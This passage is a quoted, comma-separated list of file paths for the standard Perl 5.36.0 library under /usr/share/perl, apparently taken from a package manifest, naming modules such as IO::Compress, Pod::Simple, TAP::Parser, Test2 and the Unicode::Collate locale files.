"/usr/share/perl/5.36.0/I18N/LangTags/List.pm", "/usr/share/perl/5.36.0/IO/Compress/Adapter/Bzip2.pm", "/usr/share/perl/5.36.0/IO/Compress/Adapter/Deflate.pm", "/usr/share/perl/5.36.0/IO/Compress/Adapter/Identity.pm", "/usr/share/perl/5.36.0/IO/Compress/Base.pm", "/usr/share/perl/5.36.0/IO/Compress/Base/Common.pm", "/usr/share/perl/5.36.0/IO/Compress/Bzip2.pm", "/usr/share/perl/5.36.0/IO/Compress/Deflate.pm", "/usr/share/perl/5.36.0/IO/Compress/FAQ.pod", "/usr/share/perl/5.36.0/IO/Compress/Gzip.pm", "/usr/share/perl/5.36.0/IO/Compress/Gzip/Constants.pm", "/usr/share/perl/5.36.0/IO/Compress/RawDeflate.pm", "/usr/share/perl/5.36.0/IO/Compress/Zip.pm", "/usr/share/perl/5.36.0/IO/Compress/Zip/Constants.pm", "/usr/share/perl/5.36.0/IO/Compress/Zlib/Constants.pm", "/usr/share/perl/5.36.0/IO/Compress/Zlib/Extra.pm", "/usr/share/perl/5.36.0/IO/Socket/IP.pm", "/usr/share/perl/5.36.0/IO/Uncompress/Adapter/Bunzip2.pm", "/usr/share/perl/5.36.0/IO/Uncompress/Adapter/Identity.pm", "/usr/share/perl/5.36.0/IO/Uncompress/Adapter/Inflate.pm", "/usr/share/perl/5.36.0/IO/Uncompress/AnyInflate.pm", "/usr/share/perl/5.36.0/IO/Uncompress/AnyUncompress.pm", "/usr/share/perl/5.36.0/IO/Uncompress/Base.pm", "/usr/share/perl/5.36.0/IO/Uncompress/Bunzip2.pm", "/usr/share/perl/5.36.0/IO/Uncompress/Gunzip.pm", "/usr/share/perl/5.36.0/IO/Uncompress/Inflate.pm", "/usr/share/perl/5.36.0/IO/Uncompress/RawInflate.pm", "/usr/share/perl/5.36.0/IO/Uncompress/Unzip.pm", "/usr/share/perl/5.36.0/IO/Zlib.pm", "/usr/share/perl/5.36.0/IPC/Cmd.pm", "/usr/share/perl/5.36.0/IPC/Open2.pm", "/usr/share/perl/5.36.0/IPC/Open3.pm", "/usr/share/perl/5.36.0/Internals.pod", "/usr/share/perl/5.36.0/JSON/PP.pm", "/usr/share/perl/5.36.0/JSON/PP/Boolean.pm", "/usr/share/perl/5.36.0/Locale/Maketext.pm", "/usr/share/perl/5.36.0/Locale/Maketext.pod", "/usr/share/perl/5.36.0/Locale/Maketext/Cookbook.pod", "/usr/share/perl/5.36.0/Locale/Maketext/Guts.pm", "/usr/share/perl/5.36.0/Locale/Maketext/GutsLoader.pm", "/usr/share/perl/5.36.0/Locale/Maketext/Simple.pm", "/usr/share/perl/5.36.0/Locale/Maketext/TPJ13.pod", "/usr/share/perl/5.36.0/Math/BigFloat.pm", "/usr/share/perl/5.36.0/Math/BigFloat/Trace.pm", "/usr/share/perl/5.36.0/Math/BigInt.pm", "/usr/share/perl/5.36.0/Math/BigInt/Calc.pm", "/usr/share/perl/5.36.0/Math/BigInt/Lib.pm", "/usr/share/perl/5.36.0/Math/BigInt/Trace.pm", "/usr/share/perl/5.36.0/Math/BigRat.pm", "/usr/share/perl/5.36.0/Math/BigRat/Trace.pm", "/usr/share/perl/5.36.0/Math/Complex.pm", "/usr/share/perl/5.36.0/Math/Trig.pm", "/usr/share/perl/5.36.0/Memoize.pm", "/usr/share/perl/5.36.0/Memoize/AnyDBM_File.pm", "/usr/share/perl/5.36.0/Memoize/Expire.pm", "/usr/share/perl/5.36.0/Memoize/ExpireFile.pm", "/usr/share/perl/5.36.0/Memoize/ExpireTest.pm", "/usr/share/perl/5.36.0/Memoize/NDBM_File.pm", "/usr/share/perl/5.36.0/Memoize/SDBM_File.pm", "/usr/share/perl/5.36.0/Memoize/Storable.pm", "/usr/share/perl/5.36.0/Module/CoreList.pm", "/usr/share/perl/5.36.0/Module/CoreList.pod", "/usr/share/perl/5.36.0/Module/CoreList/Utils.pm", "/usr/share/perl/5.36.0/Module/Load.pm", "/usr/share/perl/5.36.0/Module/Load/Conditional.pm", "/usr/share/perl/5.36.0/Module/Loaded.pm", "/usr/share/perl/5.36.0/Module/Metadata.pm", "/usr/share/perl/5.36.0/NEXT.pm", "/usr/share/perl/5.36.0/Net/Cmd.pm", "/usr/share/perl/5.36.0/Net/Config.pm", "/usr/share/perl/5.36.0/Net/Domain.pm", "/usr/share/perl/5.36.0/Net/FTP.pm", "/usr/share/perl/5.36.0/Net/FTP/A.pm", "/usr/share/perl/5.36.0/Net/FTP/E.pm", "/usr/share/perl/5.36.0/Net/FTP/I.pm", "/usr/share/perl/5.36.0/Net/FTP/L.pm", "/usr/share/perl/5.36.0/Net/FTP/dataconn.pm", "/usr/share/perl/5.36.0/Net/NNTP.pm", "/usr/share/perl/5.36.0/Net/Netrc.pm", "/usr/share/perl/5.36.0/Net/POP3.pm", "/usr/share/perl/5.36.0/Net/Ping.pm", "/usr/share/perl/5.36.0/Net/SMTP.pm", "/usr/share/perl/5.36.0/Net/Time.pm", "/usr/share/perl/5.36.0/Net/hostent.pm", "/usr/share/perl/5.36.0/Net/libnetFAQ.pod", "/usr/share/perl/5.36.0/Net/netent.pm", "/usr/share/perl/5.36.0/Net/protoent.pm", "/usr/share/perl/5.36.0/Net/servent.pm", "/usr/share/perl/5.36.0/Params/Check.pm", "/usr/share/perl/5.36.0/Parse/CPAN/Meta.pm", "/usr/share/perl/5.36.0/Perl/OSType.pm", "/usr/share/perl/5.36.0/PerlIO.pm", "/usr/share/perl/5.36.0/PerlIO/via/QuotedPrint.pm", "/usr/share/perl/5.36.0/Pod/Checker.pm", "/usr/share/perl/5.36.0/Pod/Escapes.pm", "/usr/share/perl/5.36.0/Pod/Functions.pm", "/usr/share/perl/5.36.0/Pod/Html.pm", "/usr/share/perl/5.36.0/Pod/Html/Util.pm", "/usr/share/perl/5.36.0/Pod/Man.pm", "/usr/share/perl/5.36.0/Pod/ParseLink.pm", "/usr/share/perl/5.36.0/Pod/Perldoc.pm", "/usr/share/perl/5.36.0/Pod/Perldoc/BaseTo.pm", "/usr/share/perl/5.36.0/Pod/Perldoc/GetOptsOO.pm", "/usr/share/perl/5.36.0/Pod/Perldoc/ToANSI.pm", "/usr/share/perl/5.36.0/Pod/Perldoc/ToChecker.pm", "/usr/share/perl/5.36.0/Pod/Perldoc/ToMan.pm", "/usr/share/perl/5.36.0/Pod/Perldoc/ToNroff.pm", "/usr/share/perl/5.36.0/Pod/Perldoc/ToPod.pm", "/usr/share/perl/5.36.0/Pod/Perldoc/ToRtf.pm", "/usr/share/perl/5.36.0/Pod/Perldoc/ToTerm.pm", "/usr/share/perl/5.36.0/Pod/Perldoc/ToText.pm", "/usr/share/perl/5.36.0/Pod/Perldoc/ToTk.pm", "/usr/share/perl/5.36.0/Pod/Perldoc/ToXml.pm", "/usr/share/perl/5.36.0/Pod/Simple.pm", "/usr/share/perl/5.36.0/Pod/Simple.pod", "/usr/share/perl/5.36.0/Pod/Simple/BlackBox.pm", "/usr/share/perl/5.36.0/Pod/Simple/Checker.pm", "/usr/share/perl/5.36.0/Pod/Simple/Debug.pm", "/usr/share/perl/5.36.0/Pod/Simple/DumpAsText.pm", "/usr/share/perl/5.36.0/Pod/Simple/DumpAsXML.pm", "/usr/share/perl/5.36.0/Pod/Simple/HTML.pm", "/usr/share/perl/5.36.0/Pod/Simple/HTMLBatch.pm", "/usr/share/perl/5.36.0/Pod/Simple/HTMLLegacy.pm", "/usr/share/perl/5.36.0/Pod/Simple/JustPod.pm", "/usr/share/perl/5.36.0/Pod/Simple/LinkSection.pm", "/usr/share/perl/5.36.0/Pod/Simple/Methody.pm", "/usr/share/perl/5.36.0/Pod/Simple/Progress.pm", "/usr/share/perl/5.36.0/Pod/Simple/PullParser.pm", "/usr/share/perl/5.36.0/Pod/Simple/PullParserEndToken.pm", "/usr/share/perl/5.36.0/Pod/Simple/PullParserStartToken.pm", "/usr/share/perl/5.36.0/Pod/Simple/PullParserTextToken.pm", "/usr/share/perl/5.36.0/Pod/Simple/PullParserToken.pm", "/usr/share/perl/5.36.0/Pod/Simple/RTF.pm", "/usr/share/perl/5.36.0/Pod/Simple/Search.pm", "/usr/share/perl/5.36.0/Pod/Simple/SimpleTree.pm", "/usr/share/perl/5.36.0/Pod/Simple/Subclassing.pod", "/usr/share/perl/5.36.0/Pod/Simple/Text.pm", "/usr/share/perl/5.36.0/Pod/Simple/TextContent.pm", "/usr/share/perl/5.36.0/Pod/Simple/TiedOutFH.pm", "/usr/share/perl/5.36.0/Pod/Simple/Transcode.pm", "/usr/share/perl/5.36.0/Pod/Simple/TranscodeDumb.pm", "/usr/share/perl/5.36.0/Pod/Simple/TranscodeSmart.pm", "/usr/share/perl/5.36.0/Pod/Simple/XHTML.pm", "/usr/share/perl/5.36.0/Pod/Simple/XMLOutStream.pm", "/usr/share/perl/5.36.0/Pod/Text.pm", "/usr/share/perl/5.36.0/Pod/Text/Color.pm", "/usr/share/perl/5.36.0/Pod/Text/Overstrike.pm", "/usr/share/perl/5.36.0/Pod/Text/Termcap.pm", "/usr/share/perl/5.36.0/Pod/Usage.pm", "/usr/share/perl/5.36.0/Safe.pm", "/usr/share/perl/5.36.0/Search/Dict.pm", "/usr/share/perl/5.36.0/SelectSaver.pm", "/usr/share/perl/5.36.0/SelfLoader.pm", "/usr/share/perl/5.36.0/Symbol.pm", "/usr/share/perl/5.36.0/TAP/Base.pm", "/usr/share/perl/5.36.0/TAP/Formatter/Base.pm", "/usr/share/perl/5.36.0/TAP/Formatter/Color.pm", "/usr/share/perl/5.36.0/TAP/Formatter/Console.pm", "/usr/share/perl/5.36.0/TAP/Formatter/Console/ParallelSession.pm", "/usr/share/perl/5.36.0/TAP/Formatter/Console/Session.pm", "/usr/share/perl/5.36.0/TAP/Formatter/File.pm", "/usr/share/perl/5.36.0/TAP/Formatter/File/Session.pm", "/usr/share/perl/5.36.0/TAP/Formatter/Session.pm", "/usr/share/perl/5.36.0/TAP/Harness.pm", "/usr/share/perl/5.36.0/TAP/Harness/Beyond.pod", "/usr/share/perl/5.36.0/TAP/Harness/Env.pm", "/usr/share/perl/5.36.0/TAP/Object.pm", "/usr/share/perl/5.36.0/TAP/Parser.pm", "/usr/share/perl/5.36.0/TAP/Parser/Aggregator.pm", "/usr/share/perl/5.36.0/TAP/Parser/Grammar.pm", "/usr/share/perl/5.36.0/TAP/Parser/Iterator.pm", "/usr/share/perl/5.36.0/TAP/Parser/Iterator/Array.pm", "/usr/share/perl/5.36.0/TAP/Parser/Iterator/Process.pm", "/usr/share/perl/5.36.0/TAP/Parser/Iterator/Stream.pm", "/usr/share/perl/5.36.0/TAP/Parser/IteratorFactory.pm", "/usr/share/perl/5.36.0/TAP/Parser/Multiplexer.pm", "/usr/share/perl/5.36.0/TAP/Parser/Result.pm", "/usr/share/perl/5.36.0/TAP/Parser/Result/Bailout.pm", "/usr/share/perl/5.36.0/TAP/Parser/Result/Comment.pm", "/usr/share/perl/5.36.0/TAP/Parser/Result/Plan.pm", "/usr/share/perl/5.36.0/TAP/Parser/Result/Pragma.pm", "/usr/share/perl/5.36.0/TAP/Parser/Result/Test.pm", "/usr/share/perl/5.36.0/TAP/Parser/Result/Unknown.pm", "/usr/share/perl/5.36.0/TAP/Parser/Result/Version.pm", "/usr/share/perl/5.36.0/TAP/Parser/Result/YAML.pm", "/usr/share/perl/5.36.0/TAP/Parser/ResultFactory.pm", "/usr/share/perl/5.36.0/TAP/Parser/Scheduler.pm", "/usr/share/perl/5.36.0/TAP/Parser/Scheduler/Job.pm", "/usr/share/perl/5.36.0/TAP/Parser/Scheduler/Spinner.pm", "/usr/share/perl/5.36.0/TAP/Parser/Source.pm", "/usr/share/perl/5.36.0/TAP/Parser/SourceHandler.pm", "/usr/share/perl/5.36.0/TAP/Parser/SourceHandler/Executable.pm", "/usr/share/perl/5.36.0/TAP/Parser/SourceHandler/File.pm", "/usr/share/perl/5.36.0/TAP/Parser/SourceHandler/Handle.pm", "/usr/share/perl/5.36.0/TAP/Parser/SourceHandler/Perl.pm", "/usr/share/perl/5.36.0/TAP/Parser/SourceHandler/RawTAP.pm", "/usr/share/perl/5.36.0/TAP/Parser/YAMLish/Reader.pm", "/usr/share/perl/5.36.0/TAP/Parser/YAMLish/Writer.pm", "/usr/share/perl/5.36.0/Term/ANSIColor.pm", "/usr/share/perl/5.36.0/Term/Cap.pm", "/usr/share/perl/5.36.0/Term/Complete.pm", "/usr/share/perl/5.36.0/Term/ReadLine.pm", "/usr/share/perl/5.36.0/Test.pm", "/usr/share/perl/5.36.0/Test/Builder.pm", "/usr/share/perl/5.36.0/Test/Builder/Formatter.pm", "/usr/share/perl/5.36.0/Test/Builder/IO/Scalar.pm", "/usr/share/perl/5.36.0/Test/Builder/Module.pm", "/usr/share/perl/5.36.0/Test/Builder/Tester.pm", "/usr/share/perl/5.36.0/Test/Builder/Tester/Color.pm", "/usr/share/perl/5.36.0/Test/Builder/TodoDiag.pm", "/usr/share/perl/5.36.0/Test/Harness.pm", "/usr/share/perl/5.36.0/Test/More.pm", "/usr/share/perl/5.36.0/Test/Simple.pm", "/usr/share/perl/5.36.0/Test/Tester.pm", "/usr/share/perl/5.36.0/Test/Tester/Capture.pm", "/usr/share/perl/5.36.0/Test/Tester/CaptureRunner.pm", "/usr/share/perl/5.36.0/Test/Tester/Delegate.pm", "/usr/share/perl/5.36.0/Test/Tutorial.pod", "/usr/share/perl/5.36.0/Test/use/ok.pm", "/usr/share/perl/5.36.0/Test2.pm", "/usr/share/perl/5.36.0/Test2/API.pm", "/usr/share/perl/5.36.0/Test2/API/Breakage.pm", "/usr/share/perl/5.36.0/Test2/API/Context.pm", "/usr/share/perl/5.36.0/Test2/API/Instance.pm", "/usr/share/perl/5.36.0/Test2/API/InterceptResult.pm", "/usr/share/perl/5.36.0/Test2/API/InterceptResult/Event.pm", "/usr/share/perl/5.36.0/Test2/API/InterceptResult/Facet.pm", "/usr/share/perl/5.36.0/Test2/API/InterceptResult/Hub.pm", "/usr/share/perl/5.36.0/Test2/API/InterceptResult/Squasher.pm", "/usr/share/perl/5.36.0/Test2/API/Stack.pm", "/usr/share/perl/5.36.0/Test2/Event.pm", "/usr/share/perl/5.36.0/Test2/Event/Bail.pm", "/usr/share/perl/5.36.0/Test2/Event/Diag.pm", "/usr/share/perl/5.36.0/Test2/Event/Encoding.pm", "/usr/share/perl/5.36.0/Test2/Event/Exception.pm", "/usr/share/perl/5.36.0/Test2/Event/Fail.pm", "/usr/share/perl/5.36.0/Test2/Event/Generic.pm", "/usr/share/perl/5.36.0/Test2/Event/Note.pm", "/usr/share/perl/5.36.0/Test2/Event/Ok.pm", "/usr/share/perl/5.36.0/Test2/Event/Pass.pm", "/usr/share/perl/5.36.0/Test2/Event/Plan.pm", "/usr/share/perl/5.36.0/Test2/Event/Skip.pm", "/usr/share/perl/5.36.0/Test2/Event/Subtest.pm", "/usr/share/perl/5.36.0/Test2/Event/TAP/Version.pm", "/usr/share/perl/5.36.0/Test2/Event/V2.pm", "/usr/share/perl/5.36.0/Test2/Event/Waiting.pm", "/usr/share/perl/5.36.0/Test2/EventFacet.pm", "/usr/share/perl/5.36.0/Test2/EventFacet/About.pm", "/usr/share/perl/5.36.0/Test2/EventFacet/Amnesty.pm", "/usr/share/perl/5.36.0/Test2/EventFacet/Assert.pm", "/usr/share/perl/5.36.0/Test2/EventFacet/Control.pm", "/usr/share/perl/5.36.0/Test2/EventFacet/Error.pm", "/usr/share/perl/5.36.0/Test2/EventFacet/Hub.pm", "/usr/share/perl/5.36.0/Test2/EventFacet/Info.pm", "/usr/share/perl/5.36.0/Test2/EventFacet/Info/Table.pm", "/usr/share/perl/5.36.0/Test2/EventFacet/Meta.pm", "/usr/share/perl/5.36.0/Test2/EventFacet/Parent.pm", "/usr/share/perl/5.36.0/Test2/EventFacet/Plan.pm", "/usr/share/perl/5.36.0/Test2/EventFacet/Render.pm", "/usr/share/perl/5.36.0/Test2/EventFacet/Trace.pm", "/usr/share/perl/5.36.0/Test2/Formatter.pm", "/usr/share/perl/5.36.0/Test2/Formatter/TAP.pm", "/usr/share/perl/5.36.0/Test2/Hub.pm", "/usr/share/perl/5.36.0/Test2/Hub/Interceptor.pm", "/usr/share/perl/5.36.0/Test2/Hub/Interceptor/Terminator.pm", "/usr/share/perl/5.36.0/Test2/Hub/Subtest.pm", "/usr/share/perl/5.36.0/Test2/IPC.pm", "/usr/share/perl/5.36.0/Test2/IPC/Driver.pm", "/usr/share/perl/5.36.0/Test2/IPC/Driver/Files.pm", "/usr/share/perl/5.36.0/Test2/Tools/Tiny.pm", "/usr/share/perl/5.36.0/Test2/Transition.pod", "/usr/share/perl/5.36.0/Test2/Util.pm", "/usr/share/perl/5.36.0/Test2/Util/ExternalMeta.pm", "/usr/share/perl/5.36.0/Test2/Util/Facets2Legacy.pm", "/usr/share/perl/5.36.0/Test2/Util/HashBase.pm", "/usr/share/perl/5.36.0/Test2/Util/Trace.pm", "/usr/share/perl/5.36.0/Text/Abbrev.pm", "/usr/share/perl/5.36.0/Text/Balanced.pm", "/usr/share/perl/5.36.0/Text/ParseWords.pm", "/usr/share/perl/5.36.0/Text/Tabs.pm", "/usr/share/perl/5.36.0/Text/Wrap.pm", "/usr/share/perl/5.36.0/Thread.pm", "/usr/share/perl/5.36.0/Thread/Queue.pm", "/usr/share/perl/5.36.0/Thread/Semaphore.pm", "/usr/share/perl/5.36.0/Tie/Array.pm", "/usr/share/perl/5.36.0/Tie/File.pm", "/usr/share/perl/5.36.0/Tie/Handle.pm", "/usr/share/perl/5.36.0/Tie/Hash.pm", "/usr/share/perl/5.36.0/Tie/Hash/NamedCapture.pm", "/usr/share/perl/5.36.0/Tie/Memoize.pm", "/usr/share/perl/5.36.0/Tie/RefHash.pm", "/usr/share/perl/5.36.0/Tie/Scalar.pm", "/usr/share/perl/5.36.0/Tie/StdHandle.pm", "/usr/share/perl/5.36.0/Tie/SubstrHash.pm", "/usr/share/perl/5.36.0/Time/Local.pm", "/usr/share/perl/5.36.0/Time/gmtime.pm", "/usr/share/perl/5.36.0/Time/localtime.pm", "/usr/share/perl/5.36.0/Time/tm.pm", "/usr/share/perl/5.36.0/UNIVERSAL.pm", "/usr/share/perl/5.36.0/Unicode/Collate/CJK/Big5.pm", "/usr/share/perl/5.36.0/Unicode/Collate/CJK/GB2312.pm", "/usr/share/perl/5.36.0/Unicode/Collate/CJK/JISX0208.pm", "/usr/share/perl/5.36.0/Unicode/Collate/CJK/Korean.pm", "/usr/share/perl/5.36.0/Unicode/Collate/CJK/Pinyin.pm", "/usr/share/perl/5.36.0/Unicode/Collate/CJK/Stroke.pm", "/usr/share/perl/5.36.0/Unicode/Collate/CJK/Zhuyin.pm", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/af.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/ar.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/as.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/az.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/be.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/bn.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/ca.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/cs.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/cu.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/cy.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/da.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/de_at_ph.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/de_phone.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/dsb.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/ee.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/eo.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/es.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/es_trad.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/et.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/fa.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/fi.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/fi_phone.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/fil.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/fo.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/fr_ca.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/gu.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/ha.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/haw.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/he.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/hi.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/hr.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/hu.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/hy.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/ig.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/is.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/ja.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/kk.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/kl.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/kn.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/ko.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/kok.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/lkt.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/ln.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/lt.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/lv.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/mk.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/ml.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/mr.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/mt.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/nb.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/nn.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/nso.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/om.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/or.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/pa.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/pl.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/ro.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/sa.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/se.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/si.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/si_dict.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/sk.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/sl.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/sq.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/sr.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/sv.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/sv_refo.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/ta.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/te.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/th.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/tn.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/to.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/tr.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/ug_cyrl.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/uk.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/ur.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/vi.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/vo.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/wae.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/wo.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/yo.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/zh.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/zh_big5.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/zh_gb.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/zh_pin.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/zh_strk.pl", "/usr/share/perl/5.36.0/Unicode/Collate/Locale/zh_zhu.pl", "/usr/share/perl/5.36.0/Unicode/Collate/allkeys.txt", "/usr/share/perl/5.36.0/Unicode/Collate/keys.txt", "/usr/share/perl/5.36.0/Unicode/UCD.pm", "/usr/share/perl/5.36.0/User/grent.pm", "/usr/share/perl/5.36.0/User/pwent.pm", "/usr/share/perl/5.36.0/XSLoader.pm", "/usr/share/perl/5.36.0/_charnames.pm", "/usr/share/perl/5.36.0/autodie.pm", "/usr/share/perl/5.36.0/autodie/Scope/Guard.pm", "/usr/share/perl/5.36.0/autodie/Scope/GuardStack.pm", "/usr/share/perl/5.36.0/autodie/Util.pm", "/usr/share/perl/5.36.0/autodie/exception.pm", "/usr/share/perl/5.36.0/autodie/exception/system.pm", "/usr/share/perl/5.36.0/autodie/hints.pm", "/usr/share/perl/5.36.0/autodie/skip.pm", "/usr/share/perl/5.36.0/autouse.pm", "/usr/share/perl/5.36.0/base.pm", "/usr/share/perl/5.36.0/bigfloat.pm", "/usr/share/perl/5.36.0/bigint.pm", "/usr/share/perl/5.36.0/bignum.pm", "/usr/share/perl/5.36.0/bigrat.pm", "/usr/share/perl/5.36.0/blib.pm", "/usr/share/perl/5.36.0/builtin.pm", "/usr/share/perl/5.36.0/bytes.pm", "/usr/share/perl/5.36.0/bytes_heavy.pl", "/usr/share/perl/5.36.0/charnames.pm", "/usr/share/perl/5.36.0/constant.pm", "/usr/share/perl/5.36.0/deprecate.pm", "/usr/share/perl/5.36.0/diagnostics.pm", "/usr/share/perl/5.36.0/dumpvar.pl", "/usr/share/perl/5.36.0/encoding/warnings.pm", "/usr/share/perl/5.36.0/experimental.pm", "/usr/share/perl/5.36.0/feature.pm", "/usr/share/perl/5.36.0/fields.pm", "/usr/share/perl/5.36.0/filetest.pm", "/usr/share/perl/5.36.0/if.pm", "/usr/share/perl/5.36.0/integer.pm", "/usr/share/perl/5.36.0/less.pm", "/usr/share/perl/5.36.0/locale.pm", "/usr/share/perl/5.36.0/meta_notation.pm", "/usr/share/perl/5.36.0/ok.pm", "/usr/share/perl/5.36.0/open.pm", "/usr/share/perl/5.36.0/overload.pm", "/usr/share/perl/5.36.0/overload/numbers.pm", "/usr/share/perl/5.36.0/overloading.pm", "/usr/share/perl/5.36.0/parent.pm", "/usr/share/perl/5.36.0/perl5db.pl", "/usr/share/perl/5.36.0/perlfaq.pm", "/usr/share/perl/5.36.0/pod/perldiag.pod", "/usr/share/perl/5.36.0/sigtrap.pm", "/usr/share/perl/5.36.0/sort.pm", "/usr/share/perl/5.36.0/strict.pm", "/usr/share/perl/5.36.0/subs.pm", "/usr/share/perl/5.36.0/unicore/Blocks.txt", "/usr/share/perl/5.36.0/unicore/CombiningClass.pl", "/usr/share/perl/5.36.0/unicore/Decomposition.pl", "/usr/share/perl/5.36.0/unicore/Name.pl", "/usr/share/perl/5.36.0/unicore/Name.pm", "/usr/share/perl/5.36.0/unicore/NamedSequences.txt", "/usr/share/perl/5.36.0/unicore/SpecialCasing.txt", "/usr/share/perl/5.36.0/unicore/To/Age.pl", "/usr/share/perl/5.36.0/unicore/To/Bc.pl", "/usr/share/perl/5.36.0/unicore/To/Bmg.pl", "/usr/share/perl/5.36.0/unicore/To/Bpb.pl", "/usr/share/perl/5.36.0/unicore/To/Bpt.pl", "/usr/share/perl/5.36.0/unicore/To/Cf.pl", "/usr/share/perl/5.36.0/unicore/To/Ea.pl", "/usr/share/perl/5.36.0/unicore/To/EqUIdeo.pl", "/usr/share/perl/5.36.0/unicore/To/GCB.pl", "/usr/share/perl/5.36.0/unicore/To/Gc.pl", "/usr/share/perl/5.36.0/unicore/To/Hst.pl", "/usr/share/perl/5.36.0/unicore/To/Identif2.pl", "/usr/share/perl/5.36.0/unicore/To/Identifi.pl", "/usr/share/perl/5.36.0/unicore/To/InPC.pl", "/usr/share/perl/5.36.0/unicore/To/InSC.pl", "/usr/share/perl/5.36.0/unicore/To/Isc.pl", "/usr/share/perl/5.36.0/unicore/To/Jg.pl", "/usr/share/perl/5.36.0/unicore/To/Jt.pl", "/usr/share/perl/5.36.0/unicore/To/Lb.pl", "/usr/share/perl/5.36.0/unicore/To/Lc.pl", "/usr/share/perl/5.36.0/unicore/To/NFCQC.pl", "/usr/share/perl/5.36.0/unicore/To/NFDQC.pl", "/usr/share/perl/5.36.0/unicore/To/NFKCCF.pl", "/usr/share/perl/5.36.0/unicore/To/NFKCQC.pl", "/usr/share/perl/5.36.0/unicore/To/NFKDQC.pl", "/usr/share/perl/5.36.0/unicore/To/Na1.pl", "/usr/share/perl/5.36.0/unicore/To/NameAlia.pl", "/usr/share/perl/5.36.0/unicore/To/Nt.pl", "/usr/share/perl/5.36.0/unicore/To/Nv.pl", "/usr/share/perl/5.36.0/unicore/To/PerlDeci.pl", "/usr/share/perl/5.36.0/unicore/To/SB.pl", "/usr/share/perl/5.36.0/unicore/To/Sc.pl", "/usr/share/perl/5.36.0/unicore/To/Scx.pl", 